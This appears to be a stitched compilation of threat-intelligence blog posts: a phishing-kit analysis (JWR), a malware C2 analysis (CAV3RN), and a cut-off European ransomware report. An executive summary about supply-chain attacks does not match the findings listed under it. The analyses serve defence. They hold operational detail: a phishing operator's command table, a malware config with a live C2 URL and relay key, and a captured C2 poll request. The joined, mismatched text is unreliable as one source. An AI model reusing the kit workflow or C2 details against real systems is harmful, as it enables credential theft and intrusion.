Cyble’s brand monitoring and digital risk protection capabilities help organizations identify suspicious domains, fake profiles, fraudulent websites and other forms of digital brand abuse across the online ecosystem. By bringing detection and threat intelligence together, Cyble can help security teams investigate impersonation faster and take action before fraudulent assets cause greater damage. 

References 

• FBI 2025 Internet Crime Report 

• FTC Data Show People Reported Losing $3.5 Billion to Imposter Scams in 2025 

Media Disclaimer: This blog was compiled from publicly available government advisories and open-source security reporting. It is provided for reference purposes only; readers bear full responsibility for their reliance on it. 

The post When the Attacker Wears Your Logo: Detecting and Taking Down Impersonation at AI Speed appeared first on Cyble.

1. Executive summary

Modern software is assembled, not written. A single application routinely draws on hundreds of third-party components, pulled in on demand and updated continuously as part of normal process. That convenience has quietly become a dependable initial-access route that bypasses traditional perimeter and endpoint defenses. Rather than breaching a hardened production perimeter, adversaries increasingly compromise the developer, the maintainer account, the build pipeline, or the package registry — and let trusted automation carry their code the rest of the way.

• Cisco Talos recently identified an undocumented phishing framework, internally branded "JWR" by its developer, built to convincingly impersonate checkout and login pages across major payment and shopping platforms. 
• The client engine of the JWR phishing framework is a real-time, operator-driven system that, rather than merely logging form submissions like a static credential-stealing page, keeps an AES-CTR encrypted WebSocket open to the threat actor so they can steer each victim's session live. 
• The victim data targeted by the actor using JWR extends well beyond payment data, encompassing identity documents, Social Security numbers, passport and driver's license images, website and PayPal credentials, 2FA codes, and full device fingerprints, all committed to the actor's server once a session ends.  
• Talos assesses with medium confidence that the JWR phishing framework is a variant of "The Outsider," a phishing-as-a-service (PhaaS) platform, based on several similarities in the client engine scripts and functionalities of the two PhaaS platforms. 
• Talos observed a real-world campaign delivering the JWR client via SMS lures impersonating toll authorities, and postal and courier services of several countries in Southeast Asia and the Middle East.

---

JWR phishing framework, a likely variant of the Outsider 

JWR is a phishing framework capable of harvesting complete payment card data, login credentials, and personally identifiable information (PII) documents and images in real time. The client-side engine of the framework impersonates login, and checkout flows of several payment gateways, including Shopify, PayPal, Apple, Klarna, and banks, while allowing the operator to stealthily control the victim session through an AES-CTR encrypted WebSocket channel. The client engine architecture is divided into a Host Bridge module that relays commands into a phishing inline frame (iframe) and a Vue.js victim application that renders across 44 phishing pages, streams the victim's keystrokes to the actor as they are typed, and carries out more than 40 distinct instructions issued from the command-and-control (C2) console. The data exfiltration schema is a cvvform object that includes fields such as credit card number, CVV, PIN, expiry date, Social Security Number (SSN), passport or ID images, two-factor authentication (2FA) codes, website logins, PayPal credentials, and device fingerprint.  

Talos discovered that the JWR client engine shares significant code and functional similarities with the client of The Outsider PhaaS platform operated by the Chinese-speaking actor “Outsider Enterprise,” which was reported by external researchers. 

JWR client architecture and workflow

The execution starts when the parent phishing webpage loads and executes the client's engine. It checks a single global flag, window.__HOST_MODE, which is set by the parent phishing page, and selects one of two execution modes. If the flag is set, the script enters Host Mode, and control passes to the Host Bridge module, an immediately invoked function expression (IIFE) that operates within the parent page, typically a replica of a legitimate checkout or account login page, relaying received details into a child iframe that contains the actual phishing form. It establishes a persistent WebSocket connection to the actor’s C2 server. 

If the flag is not set, the page enters Content Mode, and control passes to the Vue.js Application, an interactive front end that renders the phishing pages, collects victim input, manages the flow across 44 HTML files, and handles the actor’s instructions from the C2 server, ultimately redirecting to a custom error page after sending the data to the C2. The Content Mode of execution has three communication modes: standalone, pluginIframe, and hostIframe. 

• In standalone mode, the application fully owns its WebSocket connection. 
• In pluginIframe mode, it has no direct link to the network at all and instead sends everything upward to an embedding plugin frame. 
• In hostIframe mode, it defers entirely to a parent page already running as the relay bridge. 

Regardless of which of these three modes or through the Host Bridge is used, the data is either sent to C2 as plain text in JSON format with the DEV_MODE flag set, or it is passed to the JwrCrypto module, which encrypts it with a newly generated key before sending it to the C2 server.  

The script engine includes a background worker module that maintains the connection with C2, keeping it alive independently of page navigation for the remainder of the session. In a live session activity, the script continuously streams the victim’s keystrokes to the actor's C2 server as captured data, while that the actor continuously sends the next instruction to be executed from the C2 server. Each incoming instruction is checked by the client engine against a brief history to ensure that nothing already executed runs twice, then routed by the Instruction Handling module to one of two outcomes including, redirecting the victim to a different phishing page or updating the current page's state and displayed status, awaiting the actor’s next instruction. This execution loop repeats until the actor decides to keep the session alive, and when the actor chooses to close the session, the accumulated data is transmitted to the C2 one last time, and the victim is redirected. 

JWR Client’s host bridge mode  

In host bridge mode, the IIFE establishes a persistent WebSocket connection to the actor's server, manages the victim's session identity, excludes repeating incoming instructions, and proxies all communication between the server and the phishing child iframe. 

Every victim is assigned a unique session token the moment the bridge initializes. It first checks persistent storage for an existing JWRCID value if the victim has visited the page before, and if true, the same token is reused, allowing the actor to correlate multiple visits from the same device. If none exists, a new token is generated in the format JWRCVV-{Date.now()}-{random1}-{random2}, with both random segments being 13-character base-36 strings, and this token becomes the victim's permanent identifier for the entire C2 communication. 

The module then spawns a Web Worker from a separate script located at static/js/ws-worker.js, which isolates the WebSocket from the main JavaScript context, allowing the connection to persist during navigation within the phishing flow. The WebSocket connection path is constructed as webSocket/QT/{sessionId}/khkjsahfjkwhakjlsdwdddddd88, where the alphanumeric suffix is likely a server-side authentication token that ensures the connection originates from a deployed kit instance. 

The host bridge incorporates an anti-analysis check, which serves as a one-time execution guard that performs a self-referential .toString().search() call against a backtracking regex. This check detects whether a debugger has attached the function to modify its apparent source. Additionally, a decoy variable is scattered throughout the code to mislead static-analysis tools. 

Moreover, it maintains a JSON array named JwrExecutedInstructions in sessionStorage to prevent the same operator instruction from executing more than once. Before relaying any instruction into the phishing iframe, it verifies the instruction ID against a list. If a match is found, it discards the repeating instructions. If it is a new instruction, it sends an acknowledgment back to the C2 server in the format {type:"instructionAck", instruction_id:, cvv_id:}. The list is limited to 50 entries and is trimmed to retain the most recent 30. 

Content Mode operation (Vue.js application), the real-time capture 

The Vue.js victim application developed by the JWR developer is a single Vue 2.X instance, window.vm = new Vue ({el: ‘#app’, ...}), mounted on a Document Object Model (DOM) element with the id “#app”. This application serves as the phishing page that the victim sees and interacts with. It is responsible for rendering the checkout forms, collecting and streaming input to the C2, executing the actor’s instructions, and performing the exfiltration function. 

When the Vue instance is constructed, the created function is executed, processing the data passed from the fake webpage the victim visited, but without attaching the page. It generates the session ID and clears any sensitive fields leftover from a prior page visit if the victim had previously accessed the same fake page. It also restores any previously saved session state from “sessionStorage” if it exists. Then, it redirects the victim from any page other than index/login/home that lacks a session ID to a_index.html, ensuring the victim enters the phishing flow. Finally, the Vue takes the rendered output and attaches it to the #app element in the page's DOM, making the interface visible and interactive to the victim. 

Once the DOM is ready, Vue executes the mounted function asynchronously, at which point the victim becomes visible to the actor. It determines the engine’s execution mode and then executes two functions: getIPInfo() to geolocate the victim’s IP address and getSyncSettings() to pull the actor’s configuration from the C2 server. Next, it initializes the communication channel, captures the victim's action, and creates a CVV form with the victim's device fingerprint data. This includes the victim's current form of state, such as device type, browser, language, time zone, and geolocation, which are encrypted and sent to the actor's C2 server. 

One of the key features of the JWR kit is its near-real-time input streaming. Each input element in the phishing form is transmitted to the actor’s console, allowing the actor to view partial card numbers, partial passwords, and partial verification codes as the victim types, without needing to wait for the victim to click any submit button. This mechanism enables the actor to see the victim's data and determine which instruction to send to the client's engine from the C2 before the victim even submits the form. 

Before the Vue instance is created, the client engine establishes an instruction mapping table that correlates over 40 actor command names with specific HTML page filenames, thereby granting the actor remote control over the victim browser session. 

The JWR client script includes a C2 command dispatcher. When the actor sends an instruction, the client receives, decrypts, and forwards it to the dispatcher function, which routes it to the appropriate handler based on the instruction type. The table below displays the actors' instructions from C2, facilitated by the JWR client kit. 

Instructions	Purpose
to_index	Send victim to the landing/entry page
to_login	Send victim to site-login page
to_password	Prompt for account password
to_info	Collect PII
to_card	Send victim to card-entry page
to_qr	Show QR code for scan-based verification
to_sms	Request SMS OTP
to_sms_login	Request SMS OTP for login step
to_sms_bank	Request SMS OTP for bank verification
to_2fa	Request 2FA code
to_text_verify	Request custom text/code verification
to_email	Request email OTP
to_pin	Request card PIN
to_app	Request bank-app push approval
to_login_app	Request app-based login approval
to_bank_login1	Step 1 of multi-stage bank login
to_bank_login2	Step 2 of multi-stage bank login
to_bank_login3	Step 3 of multi-stage bank login
to_custompage	Route to a custom/template-defined page
to_shop	Show fake storefront/shop page
to_paypal_login	Collect PayPal login credentials
to_paypal_card	Collect card data via PayPal-branded flow
to_paypal_card_verify	Request card verification text (PayPal flow)
to_paypal_sms	Request PayPal-linked phone OTP
to_paypal_email	Request PayPal-linked email OTP
to_paypal_pin	Request PayPal PIN
to_paypal_app	Request PayPal app-approval verification
to_apple_login	Collect Apple ID login
to_apple_sms	Request Apple-linked SMS OTP
to_apple_email	Request Apple-linked email OTP
to_apple_card	Collect card data via Apple-branded flow
to_apple_verify	Request generic Apple verification step
to_klarna_login	Collect Klarna login credentials
to_klarna_sms	Request Klarna-linked SMS OTP
to_klarna_email	Request Klarna-linked email OTP
to_klarna_pay	Collect Klarna payment details
to_klarna_pin	Request Klarna PIN
to_success	Sends full data to the C2 and redirect victim to a real site
to_redirect	Redirect victim out to an operator-supplied URL
tip_fail	Show generic declined/invalid error, force re-entry
tip_custom_fail	Show an operator-authored custom error message
to_page_custom_fail	Route to a custom failure page defined per template
tip_change_card	Fake card-declined prompt to extract a second/different card
updata_img	Push a new image likely a refreshed QR code without navigating
updata_2fa	Silently inject/display an OTP code supplied by the operator
text_updata_verify	Push custom verification text to display, without navigating
submitResult	Operator pushes a corrected or enriched copy of the victim's form data back into the session

The JWR client engine has a data exfiltration schema. Its scope extends well beyond payment data, and includes full identity information (name, gender, date of birth, Social Security Number, passport, driver's license, medical record number), address, email and email password, up to three sets of website credentials, PayPal login, complete card data (PAN, expiry, CVV, PIN, brand, issuer, issuing country), front and back card images, photos of identity documents, and an automatically captured browser fingerprint, including IP, device, language, time zone, user agent, cookies, and geolocation. 

Upon submission, the client normalizes the submission types, triggering a full-screen non-interactive overlay over the page. For credit card submissions, a Lottie animation is displayed that corresponds to the card brand detected from the first two BIN digits. After exfiltration, when the actor closes the WebSocket, terminate the worker and POST the entire cvvformobject to the C2 endpoint at api/open/the_final_interface. Once the actor confirms, the victim is redirected to the actual site. 

Talos discovered that the primary mode of C2 communication for the JWR kit is via a binary WebSocket connection. The WebSocket path follows the format shown below, where the JWRCID and JWRCVV segments encode the victim’s unique session token, and the trailing alphanumeric suffix is likely a server-side authentication token. 

Alongside the WebSocket, the JWR client registers five Representational State Transfer (REST) endpoints which are used as an alternate communication method, between the C2 and the victim browser. In this case, a session opens with api/open/addClick, executed once from within the mounted function after the phishing page becomes visible to the victim. It reports the victim's IP address, country, the specific phishing page they landed on, the referring or storefront URL, and a bundle of device and operating system (OS) metadata to the actor's console with a live "new visitor" entry before a single instruction has even been sent by the actor from the C2 server. Running alongside it is api/open/getSyncSettings, which pulls inbound configuration from the actor's server rather than exfiltrating anything, letting the actor change error messages, default contact placeholders, currency display, and other behavior on the fly without redeploying the client engine. For the victim’s environments where a persistent WebSocket connection is unavailable or blocked, api/open/pollInstruction provides an HTTP long poll fallback that delivers the same operator instruction objects the socket would otherwise push, keeping the actor's remote control functional even under restrictive network conditions. The session closes with api/open/the_final_interface, the client engine terminal exfiltration call. Once the actor issues a release instruction, the WebSocket connection and background worker are closed, and the entire accumulated cvvform object, every field collected across the full victim session — card data, identity documents, credentials, and fingerprint alike — is sent via HTTP POST to the C2 endpoint. 

The below table represents the endpoints and the purpose.  

Endpoint	Purpose
api/open/addclick	Victim arrival beacon with fingerprinting data sent to C2
api/open/getSyncSettings	Gets actor-controlled settings from the C2
api/open/the_final_interface	POSTs the entire cvvform – exfiltration endpoint
api/open/pollInstruction	Gets the actor’s instructions from the C2
api/open/addCvv	Exfiltration endpoint

The JWR client has purpose-built integrations for two major e-commerce platforms Shopify and WooCommerce. For Shopify deployments, the client reads the cart_data URL parameter which is a signed JSON blob that Shopify passes between checkout steps and extracts the checkout domain to use as the WebSocket base URL. This makes the WebSocket connection seem to originate from a legitimate Shopify domain. The initShopifyProductInfo() and initWordPressProductInfo() functions reconstruct the victim's shopping cart from the Shopify cart data, populating the phishing page with accurate product names, quantities, unit prices, and order totals making the fake checkout indistinguishable from the real one. 

The operator facing status messages of the JWR framework are entirely written in Simplified Chinese and read as a professional admin dashboard notification feed phrases like "正在填写PayPal登录账号" (filling in PayPal login account), "进入2FA验证页, 请发送验证, 等待用户提交" (entering 2FA verification page, please send verification, waiting for user submission), and "均失败" (all failed), indicating that a Chinese-speaking actor is operating this scam campaign. 

JWR phishing framework’s card stealing scenario 

When the victim lands on the fake page, their browser sends an arrival beacon, indicating to the actor that a new visitor is present. From there, the actor takes over, sending a to_info instruction that directs the victim to a personal details page. While the victim types, the actor sends no further instructions but monitors the data stream live. Once the actor has assessed the victim's personal information, they issue a to_card instruction, moving the victim to the card entry page, where the same stealth live streaming occurs as the card number is typed in digit by digit. 

If the actor isn't keen on the typed card details, tip_fail or tip_change_card instructions are sent, which deliver a fake "your card was declined" message to the victim and returns them to the card page to try a different one. This loop can repeat as many times as the actor wants, each attempt aimed at harvesting another card from the same victim. If the card is accepted instead, the operator sends one of the instructions: to_sms, to_2fa, to_pin, or to_app, directing the victim to a verification page to confirm their identity with a one-time code. For the rejected code, the actor sends the tip_fail instruction, which prompts the victim to re-enter it, while an accepted one leads to the final instruction, to_success, which redirects the victim to the real website, concluding the session with the actor now having the victim’s data that was typed.  

The ongoing scam campaign  

Cisco Talos observed an attacker utilizing an SMS phishing technique, sending SMS related to toll or road-pricing fees, postal or courier fees lures that contain a malicious URL targeting potential victims. When victims click on the URL, it opens a fake webpage that executes embedded JavaScript, which then renders and loads the client-side JavaScript engine of the JWR phishing framework. 

The victimology of this scam campaign illustrates a broad, multi-country SMS phishing (smishing) operation rather than a single targeted campaign. Most of the malicious URLs impersonate a national land transport authority and its vehicle services or road toll payment portal, consistent with an "unpaid toll or road pricing fine" lure in Singapore. A second set of malicious URLs impersonates a national postal service, aligned with a "parcel held pending a customs or delivery fee" lure, alongside a smaller cluster mimicking an electronic toll collection system in the UAE. The third set of URLs impersonates a regional courier brand utilized across several Southeast Asian countries, again centered around the undelivered parcel or cash on delivery fee theme. 

Talos discovery of the similarities in the client engine script of the JWR framework used in the current campaign with that of the Outsider PhaaS platform and additionally, we observed that in June 2026, the FBI had announced the technical takedown operation against Outsider platform (PhaaS) that has been in operation since 2023, through a joint operation “Ghost Hook.” However, the Outsider PhaaS was sold as a self-servicing product in the actor’s Telegram channels, according to the external researcher report, indicating the likely existence of variants of the Outsider PhaaS kit employed and operated by other Chinese-speaking threat actors.  

Comparing JWR with other Chinese PhaaS platforms 

Following the discovery of several similarities in the client-side scripts of the JWR and The Outsider kit, Talos conducted a comparative assessment of the JWR client script against other phishing kits operating within the Chinese-speaking criminal ecosystem. 

Talos found that JWR shares no code-level implementation with Lucid, Darcula, or Lighthouse. Its C2 communication protocol, encryption module, and message envelope are all independently engineered. At the behavioral level, JWR aligns closely with those kits. All four share the operational signature that defines this PhaaS lineage including live operator puppeteering, card capture paired with OTP/2FA interception, and multi-brand templating at scale. Several additional characteristics place JWR within the same family, highlighting a tradecraft consistency across the developers of the phishing kits embedded in the Chinese-speaking criminal ecosystem. 

Coverage 

The following ClamAV signature detects and blocks this threat:  

• Js.Phishing.JwrFramework-10060456-0 

The following Snort2 and Snort3 (SIDs) rules detect and block this threat: 

• 66924
• 66925
• 66926
• 66927
• 66928  

IOCs  

The IOCs for this threat are also available at our GitHub repository here. 

To stay ahead of evolving threats, LevelBlue utilizes a machine-learning-based URL scanner that constantly evaluates the digital landscape. We closely monitor VirusTotal for instances where LevelBlue acts as the sole detection layer — a crucial tactic for spotting new phishing campaigns early. In this blog, we will unpack several notable phishing campaigns discovered through this method.

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command	Functionality
s_version	Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config	Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog	Enables diagnostic logging at the Debug level.
s_deLog	Disables diagnostic logging and sets the logging level to Fatal.
s_write	Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet	None (0)	GIDFailed (1)	GoogleFailed (2)	DirectFailed (3)
120 (0x78)	Google Apps Script	Direct HTTPS	Direct HTTPS	Google Apps Script
130 (0x82)	Direct HTTPS	Direct HTTPS	Direct HTTPS	Close the transaction (no channel)
140 (0x8C)	Exception	Exception	Exception	Exception
All other values	Google Apps Script	Google Apps Script	Google Apps Script	Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command	Function
000	Lists loaded component names and versions
001	Lists every DLL path discovered by the scanner
002	Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain	Registrar	IP	Hosting	ASN
studiotikva[.]com api.studiotikva[.]com ns1.studiotikva[.]com ns2.studiotikva[.]com	Dynadot Inc	144.172.115[.]17 144.172.104[.]82	RouterHosting LLC	AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Europe faced a ransomware onslaught in the first half of 2026 that sets a troubling precedent for the remainder of the year. According to Cyble Research and Intelligence Labs (CRIL), the region experienced 866 documented ransomware attacks, 51 confirmed data breach incidents, and 7 initial access sales between January and June 2026. These figures represent not just a volume problem, but a fundamental shift in how threat actors are organizing, targeting, and monetizing their operations within European territory.

What distinguishes the ransomware threats in Europe from other global regions is the concentration of power among a small number of highly sophisticated threat actors. While the threat ecosystem encompasses dozens of groups, five dominant ransomware operators account for approximately 55% of all documented activity. This concentration creates predictability—European security leaders can now identify, profile, and build specific defensive strategies against known adversaries.

The Five Dominant Ransomware Groups Targeting Europe

1. Qilin: The Biggest Ransomware Threat in Europe

Attack Volume: 158 documented incidents (18.2% of regional total)

Qilin stands as the dominant ransomware threat actor targeting Europe, commanding operational superiority through sophisticated affiliate management, rapid exploit weaponization, and industry-specific targeting intelligence.

Geographic Concentration:

• Germany: 32 attacks (highest single-country targeting)
• France: 28 attacks
• United Kingdom: 26 attacks
• Spain: 20 attacks
• Italy: 19 attacks

Worldwide Sectoral Targeting: Qilin demonstrates deliberate sectoral selection rather than opportunistic targeting:

• Construction: 103 incidents (primary focus)
• Professional Services: 90 incidents (legal, accounting, consulting firms)
• Manufacturing: 67 incidents (industrial operations)
• Government & Law Enforcement: 19 incidents
• Technology: 22 incidents

Operational Characteristics:

Qilin's dominance stems from understanding European organizational economics. Construction projects operate under time-sensitive contracts with contractually-defined penalties for delay. A single day of downtime on a €50 million construction project can trigger cascading costs exceeding €100,000. This economic reality translates directly into ransom payment likelihood, making Qilin's targeting strategy rational and highly effective.

The group maintains an extensive affiliate network capable of concurrent operations across multiple European nations. Evidence suggests Qilin has compartmentalized its operations: initial access brokers handle reconnaissance and network compromise, mid-tier operators manage lateral movement and privilege escalation, and final-stage operators execute encryption and exfiltration. This division of labor enables rapid scaling and reduces attribution risk.

Why Qilin Dominates:

• Industry Expertise: Deep understanding of construction project timelines and financial exposure
• Affiliate Loyalty: Competitive payout structures (estimated 70-80% to affiliates) ensure consistent operator recruitment
• Exploit Library: Rapid weaponization of both known and zero-day vulnerabilities
• Data Monetization: Established data brokerage partnerships ensure exfiltrated data reaches buyers

European Security Implications: Organizations in construction, professional services, and manufacturing should treat Qilin as their primary threat actor concern. Defensive strategies must prioritize data exfiltration prevention, network segmentation, and immutable backup infrastructure.

2. The Gentlemen: The Rising European Threat

Attack Volume: 144 documented incidents (16.6% of regional total)

The Gentlemen represent an emerging threat actor that has achieved remarkable scale in a relatively short operational window. Unlike established groups that evolved from other cybercriminal operations, The Gentlemen appear purpose-built for ransomware-as-a-service operations.

Geographic Concentration:

• Europe: 144 attacks (primary focus)
• United States: 100 attacks (secondary focus)
• Thailand: 35 attacks (supply-chain targeting)
• South Asia: 40 attacks

Worldwide Sectoral Targeting:

• Construction: 45 incidents
• Manufacturing: 56 incidents
• Healthcare: 37 incidents
• IT & ITES: 36 incidents
• Professional Services: 29 incidents

Operational Characteristics:

The Gentlemen's rapid emergence and sustained growth suggest significant operational funding and technical sophistication. The group's geographic diversification—maintaining European dominance while aggressively expanding into Asia-Pacific—indicates either organizational scale or partnerships with regional threat actors.

Notably, The Gentlemen's Thailand targeting (35 incidents) suggests supply-chain attack sophistication. By compromising manufacturing and logistics operations in Thailand, the group can leverage these beachheads for downstream attacks against Western European organizations. This cross-continental supply-chain targeting represents a significant evolution in ransomware operational sophistication.

Key Distinction: While Qilin focuses on maximizing ransom payments from individual targets, The Gentlemen appear to prioritize operational scale and geographic expansion. This suggests the group may be building toward either:

1. A mega-RaaS platform rivaling LockBit's historical dominance
2. Preparation for potential acquisition or partnership with state-sponsored actors
3. Geographic arbitrage—leveraging lower prosecution risk in developing nations while maintaining European operations

European Security Implications: The Gentlemen's emergence signals market competition is intensifying. Organizations should monitor this group's operational evolution closely, as aggressive growth often precedes operational mistakes that create defensive opportunities.

3. LockBit: The Persistent Legacy Threat

Attack Volume: 61 documented incidents (7.0% of regional total)

